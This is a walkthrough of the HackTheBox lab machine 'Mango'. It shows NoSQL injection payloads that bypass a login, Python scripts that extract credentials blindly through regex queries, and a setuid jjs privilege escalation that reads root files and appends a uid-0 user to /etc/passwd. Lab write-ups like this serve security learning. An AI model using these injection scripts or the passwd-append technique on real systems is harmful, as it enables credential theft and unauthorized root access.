HackTheBox - Mango

— Written by — 10 min read
mango-hackthebox

Mango just retired on HackTheBox, it was an Medium difficulty Linux box. As usual I really liked the whole exploration process especially the custom exploitation part and learned a bit about Mongodb. I know I say this every-time but this box is my favorite box so far.

Tl;Dr: User flag was accessible after exploiting an NoSQL injection flaw to extract usernames and passwords of accounts present on the box. Those credentials can be used to SSH login to the box as mango then pivoting to the admin user holding the flag by su to it using the password extracted previously.
The root flag was accessible by exploiting the jjs binary that have setuid bit set allowing to read and write files on the box as root user.

Alright! Let’s get into the details now!


First thing first, let’s add the box IP to the host file:

1
[[email protected] ~]$ echo "10.10.10.162 mango.htb" >> /etc/hosts

and let’s start!

User Flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
9
10
11
12
[[email protected] ~]$ nmap -sV -sT -sC mango.htb
Nmap scan report for mango.htb (10.10.10.162)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open ssl/ssl Apache httpd (SSL-only mode)
|_http-title: Mango | Search Base
|_ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 33.34 seconds

We have a classical web apps running on port 80 and 443 and the SSH port 22 open.

nmap scan display an interesting information about the SSL certificate on port 443:
staging-order.mango.htb. Let’s add this staging-order to our hosts file since it can come useful in the future.

1
[[email protected] ~]$ echo "10.10.10.162 staging-order.mango.htb" >> /etc/hosts

Opening http://mango.htb display a forbidden page while https://mango.htb display a search engine:

mango search engine

Note: Because Chrome wouldn’t display this page because of wrong certificate I completely skipped it before noticing it was accessible with Firefox. Because of that I accidentally avoided a big rabbit-hole. Win-Win.

Let’s fire gobuster to check if we can find interesting directories and/or pages there:

1
2
3
4
5
6
7
8
[[email protected] ~]$ gobuster dir -u http://mango.htb/ -w ~/SecLists/Discovery/Web-Content/big.txt -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/server-status (Status: 403)

Nothing here it seems… Let’s try port 443. We use option -k to skip SSL certificate verification:

1
2
3
4
5
6
7
8
9
10
[[email protected] ~]$ gobuster dir -u https://mango.htb/ -w ~/SecLists/Discovery/Web-Content/big.txt -x php -k
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/analytics.php (Status: 200)
/index.php (Status: 200)
/server-status (Status: 403)

Not a lot of results but analytics.php sounds interesting. After a bit of research it turned out to be a rabbit hole I will skip it.

So what remain now ? Only http://staging-order.mango.htb.

Opening it display a classic login page :

mango staging order

gobuster doesn’t find any other interesting directories or pages so let’s focus on this login page.

What do we first try when seeing a login page ? Injection of course!

After a few blind tries of common injection we don’t get any results. It’s kind of difficult to find the right payload because we don’t have any informations on the backend…

At this point I felt a bit out of ideas at this point to be honest. Taking a break helped me clear up my mind and think more carefully about the situation.

Since we are on hackthebox we know that box name often give tips on what’s going on. So Mango…mango…mongo…mongodb?

Mongodb might be a nice start to try new techniques on this box. As a reminder:

MongoDB is a cross-platform document-oriented database program. Classified as a NoSQL database program, MongoDB uses JSON-like documents with schema.
https://www.mongodb.com/

Mongodb is a NoSQL database software, and, as for SQL, NoSQL can be exploited by injection if input is not properly sanitized.
A lot of example are available when searching on google. This blog post gives the following example to bypass a login form:

1
2
3
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username[$ne]=test&password[$ne]=test

NoSQL Injection

Let’s give it a try !

1
2
3
4
5
6
7
8
9
10
curl 'http://staging-order.mango.htb/' --data "username[$ne]=test&password[$ne]=test&login=login" -v
> POST / HTTP/1.1
> Host: staging-order.mango.htb
> Content-Length: 49
> Content-Type: application/x-www-form-urlencoded
< HTTP/1.1 302 Found
< Date: Sat, 02 Nov 2019 20:56:09 GMT
< Server: Apache/2.4.29 (Ubuntu)
< location: home.php
[...]

This time we got a 302 Found! Seems like the injection succeed and bypassed the login form. Let’s relaunch the request with -L flag to prevent curl from redirecting back to the login page:

1
2
3
4
5
6
7
8
9
10
[[email protected] ~]$ curl 'http://staging-order.mango.htb/' --data "username[$ne]=test&password[$ne]=test&login=login" -L
<!DOCTYPE html>
<html lang="en">
[...]
<h1>Under Plantation</h1>
<h2>Sorry for the inconvenience. We just started farming!</h2>
<h3>To contact us in the meantime please email: [email protected]<br />
We rarely look at our inboxes.</h3>
</main>
</html>

Nothing there either… That’s disappointing. But we are definitely on the right track.

Blind NoSQL data extract

Let’s summarize what we knows:

  • We can do NoSQL injection.
  • Successful injection will return 302 Found.

Those two informations are enough to allow us to blindly extract data from the Mongodb instance. Here is an example :

Using $regex we will be able to submit a regex by injection. If the regex have a match the server will return 302 Found. This will allows us to extract data.

For example if sending the following payload
username[$regex]=^a&password[$ne]=test return:

  • 302 Found means that the regex matched, so username start with a a.
  • 200 OK the regex did not match.

Following this logic we can try with the next letter with regex ^ad, ^adm, ^admi and ^admin and so on until we get full username. You get the idea ? :)

And once we have the full username we can do the exact same to extract the password.

Having all of those informations in mind, we can craft a script to do the job for us :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import string

url = "http://staging-order.mango.htb"

username = ""
password = ""

while True:
for c in string.ascii_letters+string.digits:

payload = {
"username[$regex]": "^"+username+c,
"password[$ne]": password
}

r = requests.post(url, data=payload, allow_redirects=False)

if r.status_code == 302:
print(f"[+] Found one more char : {username+c}")
username += c

Let’s try that!

1
2
3
4
5
6
[[email protected] ~]$ python extract_user.py
[+] Found one more char : a
[+] Found one more char : ad
[+] Found one more char : adm
[+] Found one more char : admi
[+] Found one more char : admin

So the user account is …. admin. I think we could have guessed it after all.

Let’s now tweak our script to do the same for extracting passwords:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import string

url = "http://staging-order.mango.htb"

username = sys.argv[1]
password = ""

while True:
for c in string.printable:

# We skip characters that will be interpreted as regex
if c not in ['*', '+', '.', '?', '|', '$']:

payload = {
"username": username,
"password[$regex]": "^"+password+c
}

r = requests.post(url, data=payload, allow_redirects=False)

if r.status_code == 302:
print(f"[+] Found one more char : {password+c}")
password += c

Let’s launch it:

1
2
3
4
5
6
7
8
9
10
11
12
13
[[email protected] ~]$ python extract_password.py admin
[+] Found one more char : t
[+] Found one more char : t9
[+] Found one more char : t9K
[+] Found one more char : t9Kc
[+] Found one more char : t9KcS
[+] Found one more char : t9KcS3
[+] Found one more char : t9KcS3>
[+] Found one more char : t9KcS3>!
[+] Found one more char : t9KcS3>!0
[+] Found one more char : t9KcS3>!0B
[+] Found one more char : t9KcS3>!0B#
[+] Found one more char : t9KcS3>!0B#2

While we could have bruteforced the admin username using a wordlist it definitely wouldn’t have been possible for the password.

We now have a username and a password (admin:t9KcS3>!0B#2). What the first thing we do when we have those kind of informations ? Login to SSH of course:

1
2
3
[[email protected] ~]$ ssh [email protected]
[email protected]'s password:
Permission denied, please try again.

Nop doesn’t work.

Then maybe another user account can be extracted from Mongodb instance, let’s tweak our regex to return an user that is not admin:

1
2
- "username[$regex]": "^"+username+c,
+ "username[$regex]": "^(?!admin)"+username+c,
1
2
3
4
5
6
[[email protected] ~]$ python extract_user.py
[+] Found one more char : m
[+] Found one more char : ma
[+] Found one more char : man
[+] Found one more char : mang
[+] Found one more char : mango

We could have guessed this one aswell. Let’s get its password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[[email protected] ~]$ python extract_password.py mango
[+] Found one more char : h
[+] Found one more char : h3
[+] Found one more char : h3m
[+] Found one more char : h3mX
[+] Found one more char : h3mXK
[+] Found one more char : h3mXK8
[+] Found one more char : h3mXK8R
[+] Found one more char : h3mXK8Rh
[+] Found one more char : h3mXK8RhU
[+] Found one more char : h3mXK8RhU~
[+] Found one more char : h3mXK8RhU~f
[+] Found one more char : h3mXK8RhU~f{
[+] Found one more char : h3mXK8RhU~f{]
[+] Found one more char : h3mXK8RhU~f{]f
[+] Found one more char : h3mXK8RhU~f{]f5
[+] Found one more char : h3mXK8RhU~f{]f5H

Alright we have mango:h3mXK8RhU~f{]f5H, let’s try to SSH again:

1
2
3
4
5
6
7
8
[[email protected] ~]$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)
Last login: Mon Nov 4 09:50:35 2019 from 10.10.15.27
[email protected]:~$ id
uid=1000(mango) gid=1000(mango) groups=1000(mango)
[email protected]:~$ ls -l
[email protected]:~$

That’s a good step ahead! Unfortunately no user flag here…

Pivot mango -> admin

Let’s do a bit of enumeration:

1
2
3
4
5
[email protected]:~$ ls -l /home
drwxr-xr-x 2 admin admin 4096 Nov 4 10:07 admin
drwxr-xr-x 5 mango mango 4096 Nov 4 09:31 mango
[email protected]:~$ ls -l /home/admin
-r-------- 1 admin admin 33 Sep 27 14:29 user.txt

User admin holds the flag. Let’s try to access it using common method since we probably got its password (t9KcS3>!0B#2):

1
2
3
[email protected]:~$ sudo -u admin cat /home/admin/user.txt
[sudo] password for mango:
mango is not in the sudoers file. This incident will be reported.

Oops, obligatory xkcd

incident

Maybe the simple su command then ?

1
2
3
4
5
6
7
[email protected]:~$ su - admin
Password:
$ id
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
$ bash
[email protected]:/$ cat user.txt
7xxxxxxxxxxxxxxxxxxxxx2

Alright that was not that hard was it ? Let’s move on to the root flag.

Root Flag

Recon

One of the first I do while doing recon is to search for binaries with setuid bit enabled first. It’s always an easy way to privilege escalation.

As a reminder:

Binaries with the setuid bit enabled, are being executed as if they were running under the context of the root user. This enables normal (non-privileged) users to use special privileges, like opening sockets. While this seems unnecessary for a normal user, it is actually needed for simple commands like ping.

1
2
3
[email protected]:/$ find / -perm -u=s -type f 2>/dev/null
[...]
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

This jjs binary catch my eye because it’s not common to see it having the setuid bit. If you wonder what jjs stands for, it stands for Java JavaScript.

jjs setuid exploitation

Let’s search online to see if we can do something with this jjs binary. My favorite resource is GTFOBins.

GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

According to it, jjs could be used to execute commands, read and write file. Sounds incredibly useful for us especially since the setuid is set meaning the command will be ran as root.

Let’s give it a try to read the root.txt flag:

1
2
3
4
5
6
7
8
9
10
[email protected]:/$ echo 'var BufferedReader = Java.type("java.io.BufferedReader");
> var FileReader = Java.type("java.io.FileReader");
> var br = new BufferedReader(new FileReader("/root/root.txt"));
> while ((line = br.readLine()) != null) { print(line); }' | jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> var BufferedReader = Java.type("java.io.BufferedReader");
jjs> var FileReader = Java.type("java.io.FileReader");
jjs> var br = new BufferedReader(new FileReader("/root/root.txt"));
jjs> while ((line = br.readLine()) != null) { print(line); }
8xxxxxxxxxxxxxxxxxxxxxx5

So we got the root flag! But this not fun enough right ? It would be better to login as root.

To do so I am going to show an alternative method from the usual SSH key retrieval/adding I usually use.

This time we are going to add a new root account to the box by adding a new line to the /etc/passwd file.

First let’s generate the hash of our password:

1
2
3
4
[email protected]:/$ openssl passwd -1
Password:
Verifying - Password:
$1$3H6dixbQ$xxxxxxxxxxxxj7TueW/J.

We are going to add a new user called hg8 with the the uid 0 (to be root) to the passwd file with the following line:

1
hg8:$1$3H6dixbQ$xxxxxxxxxxxxj7TueW/J.:0:0:root:/root:/bin/bash

Now let’s use the jjs binary to write to /etc/passwd file as root, let’s tweak the example shown on GTFOBins to append data to a file instead of creating a new one and let’s go:

1
2
3
4
5
6
7
[email protected]:/$ jjs
jjs> var FileWriter = Java.type("java.io.FileWriter");
jjs> var fw=new FileWriter("/etc/passwd", true);
jjs> fw.write("hg8:$1$3H6dixbQ$xxxxxxxxxxxxj7TueW/J.:0:0:root:/root:/bin/bash\n");
jjs> fw.close();
jjs>
[email protected]:/home/admin$

Let’s verify it worked and login as our new user :

1
2
3
4
5
6
7
8
9
[email protected]:/$ cat /etc/passwd
[...]
hg8:$1$/k0hFNSh$HKqgKcpLRBVVv8bY1wfv3.:0:0:root:/root:/bin/bash
[email protected]:/$ su - hg8
Password:
[email protected]:~# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:~# cat root.txt
8xxxxxxxxxxxxxxxxxxxxxxxxxxx5

Now that we are root and done let’s not forget to clean up our changes to not spoil other users!


As always do not hesitate to contact me for any questions or feedbacks ;)

See you next time !

-hg8



CTFHackTheBoxMedium Box
, , , , ,